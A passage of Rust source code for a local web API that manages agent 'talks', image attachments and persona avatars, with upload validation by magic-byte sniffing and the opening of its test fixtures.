8246 refuse_if_closed(&ui.talks.get(&id)?)
8247 })
8248 .await?;
8249 }
8250 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8251 return Err(ApiError::conflict(
8252 "a talk turn is running; change the agent once it has answered",
8253 ));
8254 };
8255 let switched = {
8256 let ui = Arc::clone(&ui);
8257 let id = id.clone();
8258 let cfg = cfg.clone();
8259 blocking(move || {
8260 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8261 .map_err(ApiError::bad_request_from)?;
8262 let mut talk = ui.talks.get(&id)?;
8263 if !talk.status.open() {
8264 return Err(ApiError::conflict(format!(
8265 "talk {} is {} and takes no more turns",
8266 talk.short(),
8267 talk.status.as_str()
8268 )));
8269 }
8270 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8271 Ok(talk)
8272 })
8273 .await
8274 };
8275 let observed = ui.queued_generation(&id);
8280 let fresh = {
8281 let ui = Arc::clone(&ui);
8282 let id = id.clone();
8283 blocking(move || Ok(ui.talks.get(&id)?)).await
8284 };
8285 let draining = match fresh {
8286 Ok(talk) => {
8287 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8288 }
8289 Err(_) => false,
8290 };
8291 let talk = switched?;
8292 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8293}
8294
8295#[derive(Debug, Deserialize)]
8297struct TalkPersona {
8298 persona: String,
8299}
8300
8301async fn talk_persona(
8305 State(ui): State<Arc<Ui>>,
8306 Path(id): Path<String>,
8307 Json(body): Json<TalkPersona>,
8308) -> ApiResult<Json<TalkView>> {
8309 let id = {
8310 let ui = Arc::clone(&ui);
8311 blocking(move || resolve_talk(&ui.talks, &id)).await?
8312 };
8313 let repo = {
8314 let ui = Arc::clone(&ui);
8315 let id = id.clone();
8316 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8317 };
8318 let cfg = config_for(&repo).await?;
8319 {
8321 let ui = Arc::clone(&ui);
8322 let id = id.clone();
8323 let cfg = cfg.clone();
8324 let wanted = body.persona.clone();
8325 blocking(move || {
8326 if persona::find(&cfg.talk.personas, &wanted).is_none() {
8327 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8328 }
8329 refuse_if_closed(&ui.talks.get(&id)?)
8330 })
8331 .await?;
8332 }
8333 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8334 return Err(ApiError::conflict(
8335 "a talk turn is running; change the persona once it has answered",
8336 ));
8337 };
8338 let switched = {
8339 let ui = Arc::clone(&ui);
8340 let id = id.clone();
8341 let cfg = cfg.clone();
8342 blocking(move || {
8343 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8344 return Err(ApiError::bad_request(format!(
8345 "unknown persona `{}`",
8346 body.persona
8347 )));
8348 };
8349 let mut talk = ui.talks.get(&id)?;
8350 if !talk.status.open() {
8351 return Err(ApiError::conflict(format!(
8352 "talk {} is {} and takes no more turns",
8353 talk.short(),
8354 talk.status.as_str()
8355 )));
8356 }
8357 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8358 Ok(talk)
8359 })
8360 .await
8361 };
8362 let observed = ui.queued_generation(&id);
8364 let fresh = {
8365 let ui = Arc::clone(&ui);
8366 let id = id.clone();
8367 blocking(move || Ok(ui.talks.get(&id)?)).await
8368 };
8369 let draining = match fresh {
8370 Ok(talk) => {
8371 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8372 }
8373 Err(_) => false,
8374 };
8375 let talk = switched?;
8376 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8377}
8378
8379#[derive(Debug, Deserialize)]
8381struct TalkImplementers {
8382 implementers: u8,
8383}
8384
8385async fn talk_implementers(
8389 State(ui): State<Arc<Ui>>,
8390 Path(id): Path<String>,
8391 Json(body): Json<TalkImplementers>,
8392) -> ApiResult<Json<TalkView>> {
8393 let id = {
8394 let ui = Arc::clone(&ui);
8395 blocking(move || resolve_talk(&ui.talks, &id)).await?
8396 };
8397 let repo = {
8398 let ui = Arc::clone(&ui);
8399 let id = id.clone();
8400 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8401 };
8402 let cfg = config_for(&repo).await?;
8403 {
8408 let ui = Arc::clone(&ui);
8409 let id = id.clone();
8410 let cfg = cfg.clone();
8411 let wanted = body.implementers;
8412 blocking(move || {
8413 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8414 refuse_if_closed(&ui.talks.get(&id)?)
8415 })
8416 .await?;
8417 }
8418 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8419 return Err(ApiError::conflict(
8420 "a talk turn is running; change the implementers once it has answered",
8421 ));
8422 };
8423 let switched = {
8424 let ui = Arc::clone(&ui);
8425 let id = id.clone();
8426 let cfg = cfg.clone();
8427 blocking(move || {
8428 let chosen =
8429 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8430 let mut talk = ui.talks.get(&id)?;
8431 if !talk.status.open() {
8432 return Err(ApiError::conflict(format!(
8433 "talk {} is {} and takes no more turns",
8434 talk.short(),
8435 talk.status.as_str()
8436 )));
8437 }
8438 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8439 Ok(talk)
8440 })
8441 .await
8442 };
8443 let observed = ui.queued_generation(&id);
8445 let fresh = {
8446 let ui = Arc::clone(&ui);
8447 let id = id.clone();
8448 blocking(move || Ok(ui.talks.get(&id)?)).await
8449 };
8450 let draining = match fresh {
8451 Ok(talk) => {
8452 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8453 }
8454 Err(_) => false,
8455 };
8456 let talk = switched?;
8457 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8458}
8459
8460async fn talk_close(
8462 State(ui): State<Arc<Ui>>,
8463 Path(id): Path<String>,
8464) -> ApiResult<Json<TalkView>> {
8465 blocking(move || {
8466 let id = resolve_talk(&ui.talks, &id)?;
8467 let mut talk = ui.talks.get(&id)?;
8468 talk::close(&mut talk, &ui.talks)?;
8469 let thinking = ui.is_thinking(&talk.id);
8470 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8471 })
8472 .await
8473}
8474
8475async fn talk_reopen(
8477 State(ui): State<Arc<Ui>>,
8478 Path(id): Path<String>,
8479) -> ApiResult<Json<TalkView>> {
8480 blocking(move || {
8481 let id = resolve_talk(&ui.talks, &id)?;
8482 let mut talk = ui.talks.get(&id)?;
8483 talk::reopen(&mut talk, &ui.talks)?;
8484 let thinking = ui.is_thinking(&talk.id);
8485 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8486 })
8487 .await
8488}
8489
8490async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8500 blocking(move || {
8501 let id = resolve_talk(&ui.talks, &id)?;
8502 ui.talks.remove(&id)?;
8503 Ok(StatusCode::NO_CONTENT)
8504 })
8505 .await
8506}
8507
8508fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8510 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8511}
8512
8513async fn talk_attachment_post(
8516 State(ui): State<Arc<Ui>>,
8517 Path(id): Path<String>,
8518 headers: HeaderMap,
8519 body: Bytes,
8520) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8521 let mime = validate_attachment(&headers, &body)?;
8522 let name = filename_header(&headers);
8523 let data = body.to_vec();
8524 blocking(move || {
8525 let id = resolve_talk(&ui.talks, &id)?;
8526 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8527 Ok((StatusCode::CREATED, Json(att)))
8528 })
8529 .await
8530}
8531
8532async fn talk_attachment_get(
8535 State(ui): State<Arc<Ui>>,
8536 Path((id, att)): Path<(String, String)>,
8537) -> ApiResult<Response> {
8538 blocking(move || {
8539 let id = resolve_talk(&ui.talks, &id)?;
8540 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8541 return Err(ApiError::not_found(format!(
8542 "talk {id} has no attachment `{att}`"
8543 )));
8544 };
8545 Ok(attachment_response(&meta.mime, data))
8546 })
8547 .await
8548}
8549
8550fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8553 let mut id = String::new();
8554 for b in p.id.bytes() {
8555 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8556 id.push(char::from(b));
8557 } else {
8558 id.push_str(&format!("%{b:02X}"));
8559 }
8560 }
8561 format!(
8562 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8563 persona_icon::fingerprint(p.icon.as_deref())
8564 )
8565}
8566
8567#[derive(Debug, Default, Deserialize)]
8568struct AvatarQuery {
8569 persona: Option<String>,
8570 builtin: Option<String>,
8572}
8573
8574const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8576
8577fn builtin_avatar(id: &str) -> Response {
8578 svg_avatar(persona_icon::builtin_svg(id))
8579}
8580
8581async fn operator_avatar() -> Response {
8582 svg_avatar(persona_icon::operator_svg())
8583}
8584
8585fn svg_avatar(svg: &'static str) -> Response {
8586 (
8587 [
8588 (header::CONTENT_TYPE, "image/svg+xml"),
8589 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8590 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8591 (header::CACHE_CONTROL, "no-cache"),
8592 ],
8593 svg,
8594 )
8595 .into_response()
8596}
8597
8598fn magi_icon_path(home: &FsPath) -> PathBuf {
8600 home.join("magi-icon.data")
8601}
8602
8603fn read_magi_icon(home: &FsPath) -> Option<String> {
8604 let path = magi_icon_path(home);
8605 let metadata = std::fs::metadata(&path).ok()?;
8606 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8607 return None;
8608 }
8609 let file = std::fs::File::open(path).ok()?;
8610 use std::io::Read;
8611 let mut text = String::new();
8612 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8613 .read_to_string(&mut text)
8614 .ok()?;
8615 if text.len() > persona_icon::ICON_MAX_BYTES {
8616 return None;
8617 }
8618 text.starts_with("data:").then_some(text)
8619}
8620
8621fn magi_icon_url(home: &FsPath) -> String {
8622 format!(
8623 "/avatars/magi?v={}",
8624 persona_icon::fingerprint(read_magi_icon(home).as_deref())
8625 )
8626}
8627
8628async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8629 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8630}
8631
8632#[derive(Deserialize)]
8633struct MagiIconUpload {
8634 icon: String,
8635}
8636
8637fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8638 if !icon.starts_with("data:") {
8639 anyhow::bail!("upload a raster image");
8640 }
8641 let (mime, bytes) = persona_icon::load(icon)?;
8642 if sniffed_mime(&bytes) != Some(mime) {
8643 anyhow::bail!("image content does not match its type");
8644 }
8645 std::fs::create_dir_all(home)?;
8646 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8647 let temp = home.join(format!(".magi-icon-{token}.tmp"));
8648 let result = (|| -> Result<()> {
8649 use std::io::Write;
8650 let mut file = std::fs::OpenOptions::new()
8651 .write(true)
8652 .create_new(true)
8653 .open(&temp)?;
8654 file.write_all(icon.as_bytes())?;
8655 file.sync_all()?;
8656 std::fs::rename(&temp, magi_icon_path(home))?;
8657 Ok(())
8658 })();
8659 let _ = std::fs::remove_file(temp);
8660 result?;
8661 Ok(())
8662}
8663
8664async fn magi_icon_put(
8665 State(ui): State<Arc<Ui>>,
8666 Json(upload): Json<MagiIconUpload>,
8667) -> ApiResult<Json<serde_json::Value>> {
8668 blocking(move || {
8669 if !upload.icon.starts_with("data:") {
8670 return Err(ApiError::bad_request("upload a raster image"));
8671 }
8672 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8673 if sniffed_mime(&bytes) != Some(mime) {
8674 return Err(ApiError::bad_request(
8675 "image content does not match its type",
8676 ));
8677 }
8678 save_magi_icon(&ui.home, &upload.icon)?;
8679 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8680 })
8681 .await
8682}
8683
8684async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8685 blocking(move || {
8686 match std::fs::remove_file(magi_icon_path(&ui.home)) {
8687 Ok(()) => (),
8688 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8689 Err(e) => return Err(anyhow::Error::from(e).into()),
8690 }
8691 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8692 })
8693 .await
8694}
8695
8696async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8697 let icon = (q.builtin.is_none())
8698 .then(|| read_magi_icon(&ui.home))
8699 .flatten();
8700 let mut response = match icon
8701 .as_deref()
8702 .and_then(|icon| persona_icon::load(icon).ok())
8703 {
8704 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8705 attachment_response(mime, bytes)
8706 }
8707 _ => svg_avatar(persona_icon::magi_svg()),
8708 };
8709 response
8710 .headers_mut()
8711 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8712 response
8713}
8714
8715async fn talk_avatar(
8720 State(ui): State<Arc<Ui>>,
8721 Path(id): Path<String>,
8722 Query(q): Query<AvatarQuery>,
8723) -> ApiResult<Response> {
8724 blocking(move || {
8725 let id = resolve_talk(&ui.talks, &id)?;
8726 let talk = ui.talks.get(&id)?;
8727 let wanted = q
8728 .persona
8729 .as_deref()
8730 .map(str::trim)
8731 .filter(|p| !p.is_empty())
8732 .unwrap_or(&talk.persona)
8733 .to_owned();
8734 let specs = match Config::discover(&talk.repo, None) {
8735 Ok((cfg, _)) => cfg.talk.personas,
8736 Err(e) => {
8737 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8738 Vec::new()
8739 }
8740 };
8741 let Some(found) = persona::find(&specs, &wanted) else {
8742 return Ok(builtin_avatar(persona::DEFAULT_ID));
8743 };
8744 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8745 return Ok(builtin_avatar(&found.id));
8746 };
8747 match persona_icon::load(icon) {
8748 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8749 let mut res = attachment_response(mime, bytes);
8750 res.headers_mut().insert(
8751 header::CACHE_CONTROL,
8752 header::HeaderValue::from_static("no-cache"),
8753 );
8754 Ok(res)
8755 }
8756 Ok((mime, _)) => {
8757 tracing::warn!(
8758 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8759 found.id
8760 );
8761 Ok(builtin_avatar(&found.id))
8762 }
8763 Err(e) => {
8764 tracing::warn!(
8765 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8766 found.id
8767 );
8768 Ok(builtin_avatar(&found.id))
8769 }
8770 }
8771 })
8772 .await
8773}
8774
8775fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8786 if data.len() > ATTACHMENT_MAX_BYTES {
8787 return Err(ApiError::bad_request(format!(
8788 "attachment is {} bytes, over the {} MiB limit",
8789 data.len(),
8790 ATTACHMENT_MAX_BYTES / (1024 * 1024)
8791 ))
8792 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8793 }
8794 if data.is_empty() {
8795 return Err(ApiError::bad_request("attachment is empty"));
8796 }
8797 let declared = declared_mime(headers)?;
8798 match sniffed_mime(data) {
8799 Some(sniffed) if sniffed == declared => Ok(declared),
8800 Some(sniffed) => Err(ApiError::bad_request(format!(
8801 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8802 ))),
8803 None => Err(ApiError::bad_request(
8804 "the file's bytes do not match any accepted image format",
8805 )),
8806 }
8807}
8808
8809fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8813 let raw = headers
8814 .get(header::CONTENT_TYPE)
8815 .and_then(|v| v.to_str().ok())
8816 .unwrap_or("")
8817 .split(';')
8818 .next()
8819 .unwrap_or("")
8820 .trim()
8821 .to_ascii_lowercase();
8822 ATTACHMENT_MIME_WHITELIST
8823 .iter()
8824 .find(|&&m| m == raw)
8825 .copied()
8826 .ok_or_else(|| {
8827 if raw == "image/svg+xml" {
8828 ApiError::bad_request(
8829 "SVG is not accepted: it can carry active content (e.g. a <script>), \
8830 not just a picture",
8831 )
8832 } else if raw.is_empty() {
8833 ApiError::bad_request("Content-Type is required for an attachment upload")
8834 } else {
8835 ApiError::bad_request(format!(
8836 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8837 image/gif or image/webp"
8838 ))
8839 }
8840 })
8841}
8842
8843fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8846 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8847 Some("image/png")
8848 } else if data.starts_with(b"\xff\xd8\xff") {
8849 Some("image/jpeg")
8850 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8851 Some("image/gif")
8852 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8853 Some("image/webp")
8854 } else {
8855 None
8856 }
8857}
8858
8859fn filename_header(headers: &HeaderMap) -> String {
8865 headers
8866 .get(FILENAME_HEADER)
8867 .and_then(|v| v.to_str().ok())
8868 .map(str::trim)
8869 .filter(|s| !s.is_empty())
8870 .unwrap_or("attachment")
8871 .to_owned()
8872}
8873
8874fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8881 let content_type = ATTACHMENT_MIME_WHITELIST
8882 .iter()
8883 .find(|&&m| m == mime)
8884 .copied()
8885 .unwrap_or("application/octet-stream");
8886 (
8887 [
8888 (header::CONTENT_TYPE, content_type),
8889 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8890 ],
8891 body,
8892 )
8893 .into_response()
8894}
8895
8896async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8904 let repo = repo.to_path_buf();
8905 blocking(move || {
8906 let (cfg, _) = Config::discover(&repo, None)?;
8907 Ok(cfg)
8908 })
8909 .await
8910}
8911
8912fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8918 let mut hits = ids
8919 .into_iter()
8920 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8921 match (hits.next(), hits.next()) {
8922 (Some(one), None) => Ok(one),
8923 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8924 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8925 "`{prefix}` matches more than one {what}, including {a} and {b}"
8926 ))),
8927 }
8928}
8929
8930#[cfg(test)]
8931mod tests {
8932
8933 #[test]
8934 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
8935 let dir = tempfile::tempdir().unwrap();
8936 let store = ask::Questions::at(dir.path().join("questions"));
8937 let mut q = Question::new(
8938 "task".to_owned(),
8939 "conduct".to_owned(),
8940 "conduct".to_owned(),
8941 "choose".to_owned(),
8942 String::new(),
8943 vec!["keep".to_owned()],
8944 );
8945 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
8946 q.say("why?").unwrap();
8947 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
8948 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8949 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
8950 store.put(&mut q).unwrap();
8951 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8952 assert_eq!(store.count_needs_owner(), 1);
8953 store.beat(&q.id, ask::WaiterKind::Deputy);
8954 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8955 assert_eq!(store.count_needs_owner(), 0);
8956 let mut stale = store.read_lease(&q.id).unwrap();
8957 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
8958 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
8959 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
8960 assert!(view.deputy_exhausted);
8961 assert!(view.waiting_on_agent);
8962 assert_eq!(view.question.choices, ["keep"]);
8963 store.drop_lease(&q.id);
8964 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
8965 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
8966 }
8967
8968 #[test]
8969 fn holder_reads_the_lease_not_the_record() {
8970 let mut q = Question::new(
8971 "run".to_owned(),
8972 "implement".to_owned(),
8973 "impl-A".to_owned(),
8974 "which?".to_owned(),
8975 String::new(),
8976 Vec::new(),
8977 );
8978 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8979 q.cwd = Some("/tmp".to_owned());
8980 assert_eq!(holder_of(&q, None), Some("nobody"));
8981 let beat = |kind, ago: i64| ask::Lease {
8982 kind,
8983 pid: 1,
8984 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8985 .unwrap(),
8986 };
8987 let fresh = beat(ask::WaiterKind::Asker, 1);
8988 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8989 let daemon = beat(ask::WaiterKind::Daemon, 1);
8990 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
8991 let stale = beat(ask::WaiterKind::Asker, 3600);
8992 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8993
8994 let mut c = Question::new(
8997 "task".to_owned(),
8998 crate::conduct::NODE.to_owned(),
8999 "conduct".to_owned(),
9000 "which?".to_owned(),
9001 String::new(),
9002 Vec::new(),
9003 );
9004 assert_eq!(holder_of(&c, None), Some("nobody"));
9005 c.cwd = Some("/tmp".to_owned());
9006 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
9007 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
9008 let deputy = beat(ask::WaiterKind::Deputy, 1);
9009 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
9010 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
9011
9012 let mut r = Question::new(
9014 String::new(),
9015 crate::bump::NOTICE_NODE.to_owned(),
9016 "release-watch".to_owned(),
9017 "stuck?".to_owned(),
9018 String::new(),
9019 vec!["hold".to_owned()],
9020 );
9021 assert_eq!(holder_of(&r, None), Some("nobody"));
9022 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
9023 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
9024 r.deputy = None;
9026 r.seat = "bump".to_owned();
9027 assert_eq!(holder_of(&r, None), None);
9028
9029 let mut m = Question::new(
9032 "run".to_owned(),
9033 crate::land::APPROVAL_NODE.to_owned(),
9034 "land".to_owned(),
9035 "merge?".to_owned(),
9036 String::new(),
9037 Vec::new(),
9038 );
9039 assert_eq!(holder_of(&m, None), Some("nobody"));
9040 assert_eq!(
9041 holder_of(&m, Some(&fresh)),
9042 Some("asker"),
9043 "a live explicit wait is a listener even before a deputy is attached"
9044 );
9045 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
9046 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
9047 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
9048 assert_eq!(holder_of(&m, None), Some("nobody"));
9049 }
9050
9051 fn stub_config() -> Config {
9052 Config {
9055 agents: vec![crate::config::AgentSpec {
9056 id: "stub".to_owned(),
9057 kind: AgentKind::Command,
9058 model: None,
9059 command: vec!["true".to_owned()],
9060 extra_args: Vec::new(),
9061 env: Default::default(),
9062 prompt_delivery: None,
9063 }],
9064 ..Config::default()
9065 }
9066 }
9067
9068 fn plain_question(seat: &str) -> Question {
9069 Question::new(
9070 String::new(),
9071 "n".to_owned(),
9072 seat.to_owned(),
9073 "s".to_owned(),
9074 String::new(),
9075 Vec::new(),
9076 )
9077 }
9078
9079 #[test]
9080 fn deputies_enabled_follows_the_config() {
9081 let on = stub_config();
9082 assert!(crate::deputy::can_start(Some(&on), ""));
9083 assert!(crate::deputy::can_start(Some(&on), "stub"));
9084 let mut off = on.clone();
9085 off.daemon.max_deputies = 0;
9086 assert!(!crate::deputy::can_start(Some(&off), ""));
9087 let mut empty = on;
9088 empty.agents.clear();
9089 assert!(!crate::deputy::can_start(Some(&empty), ""));
9090 assert!(!crate::deputy::can_start(None, ""));
9091 }
9092
9093 #[test]
9094 fn question_views_load_the_config_once() {
9095 let dir = TempDir::new().unwrap();
9096 let store = ask::Questions::at(dir.path().to_path_buf());
9097 let mut with_deputy = plain_question("b");
9098 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
9099 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
9100
9101 let calls = std::cell::Cell::new(0usize);
9102 let views = question_views(qs.clone(), &store, || {
9103 calls.set(calls.get() + 1);
9104 Some(stub_config())
9105 });
9106 assert_eq!(calls.get(), 1);
9107 assert_eq!(views.len(), 3);
9108 for (v, q) in views.iter().zip(&qs) {
9109 assert_eq!(
9110 v.deputies_enabled,
9111 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
9112 );
9113 }
9114
9115 let views = question_views(qs, &store, || None);
9116 assert!(views.iter().all(|v| !v.deputies_enabled));
9117
9118 let calls = std::cell::Cell::new(0usize);
9119 let views = question_views(Vec::new(), &store, || {
9120 calls.set(calls.get() + 1);
9121 None
9122 });
9123 assert!(views.is_empty());
9124 assert_eq!(calls.get(), 0);
9125 }
9126
9127 use pretty_assertions::assert_eq;
9128 use serde_json::Value;
9129 use tempfile::TempDir;
9130 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
9131
9132 use super::*;
9133 use crate::config::Config;
9134 use crate::queue::Source;
9135
9136 const SETTLE_STEPS: usize = 3_000;
9147
9148 struct Fixture {
9154 home: TempDir,
9155 addr: SocketAddr,
9156 }
9157
9158 impl Fixture {
9159 async fn start() -> Self {
9160 Self::with_loop(launch_idle).await
9161 }
9162
9163 async fn with_loop(launch: Launch) -> Self {
9165 let home = TempDir::new().expect("temp home");
9166 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
9167 Self { home, addr }
9168 }
9169
9170 async fn with_repo(repo: PathBuf) -> Self {
9174 let home = TempDir::new().expect("temp home");
9175 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9176 Self { home, addr }
9177 }
9178
9179 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9182 let home = TempDir::new().expect("temp home");
9183 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9184 Self { home, addr }
9185 }
9186
9187 async fn serve(
9188 home: &FsPath,
9189 repo: PathBuf,
9190 launch: Launch,
9191 machine: Option<PathBuf>,
9192 ) -> SocketAddr {
9193 let queue = Queue::at(home.join("queue"));
9194 let runs = home.join("runs");
9195 std::fs::create_dir_all(&runs).expect("runs dir");
9196 let worktrees = home.join("wt").join("magi");
9197 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9198 let ui = Ui::new(
9199 queue,
9200 Questions::at(home.join("questions")),
9201 Talks::at(home.join("talks")),
9202 runs,
9203 home.to_path_buf(),
9204 repo,
9205 )
9206 .with_worktrees_root(worktrees)
9207 .with_machine_config(machine)
9208 .with_launch(launch);
9209 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9210 .await
9211 .expect("bind loopback");
9212 let addr = listener.local_addr().expect("local addr");
9213 tokio::spawn(async move {
9214 let router = ui
9215 .router()
9216 .layer(axum::middleware::from_fn(request_cost::observe));
9217 let _ = axum::serve(listener, router).await;
9218 });
9219 addr
9220 }
9221
9222 fn queue(&self) -> Queue {
9223 Queue::at(self.home.path().join("queue"))
9224 }
9225
9226 fn questions(&self) -> Questions {
9227 Questions::at(self.home.path().join("questions"))
9228 }
9229
9230 fn talks(&self) -> Talks {
9231 Talks::at(self.home.path().join("talks"))
9232 }
9233
9234 fn runs(&self) -> PathBuf {
9235 self.home.path().join("runs")
9236 }
9237
9238 async fn get(&self, path: &str) -> Res {
9239 request(self.addr, "GET", path, None).await
9240 }
9241
9242 async fn head(&self, path: &str) -> Res {
9247 request(self.addr, "HEAD", path, None).await
9248 }
9249
9250 async fn post(&self, path: &str, body: Option<&str>) -> Res {
9251 request(self.addr, "POST", path, body).await
9252 }
9253
9254 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9255 request_with(self.addr, "GET", path, None, extra).await
9256 }
9257
9258 async fn delete(&self, path: &str) -> Res {
9259 request(self.addr, "DELETE", path, None).await
9260 }
9261
9262 async fn put(&self, path: &str, body: &str) -> Res {
9263 request(self.addr, "PUT", path, Some(body)).await
9264 }
9265
9266 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9268 request_bytes(self.addr, path, headers, body).await
9269 }
9270 }
9271
9272 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9275 let tmp = TempDir::new().unwrap();
9276 let mut repos = Vec::new();
9277 for name in ["one", "two"] {
9278 let repo = tmp.path().join(name);
9279 let origin = tmp.path().join(format!("{name}.git"));
9280 std::fs::create_dir_all(&repo).unwrap();
9281 crate::git::git(&repo, &["init", "-b", "main"])
9282 .await
9283 .unwrap();
9284 std::fs::write(
9285 repo.join("magi.toml"),
9286 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9287 )
9288 .unwrap();
9289 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9290 crate::git::git(
9291 &repo,
9292 &[
9293 "-c",
9294 "user.name=fixture",
9295 "-c",
9296 "user.email=fixture@example.invalid",
9297 "commit",
9298 "-m",
9299 "fixture",
9300 ],
9301 )
9302 .await
9303 .unwrap();
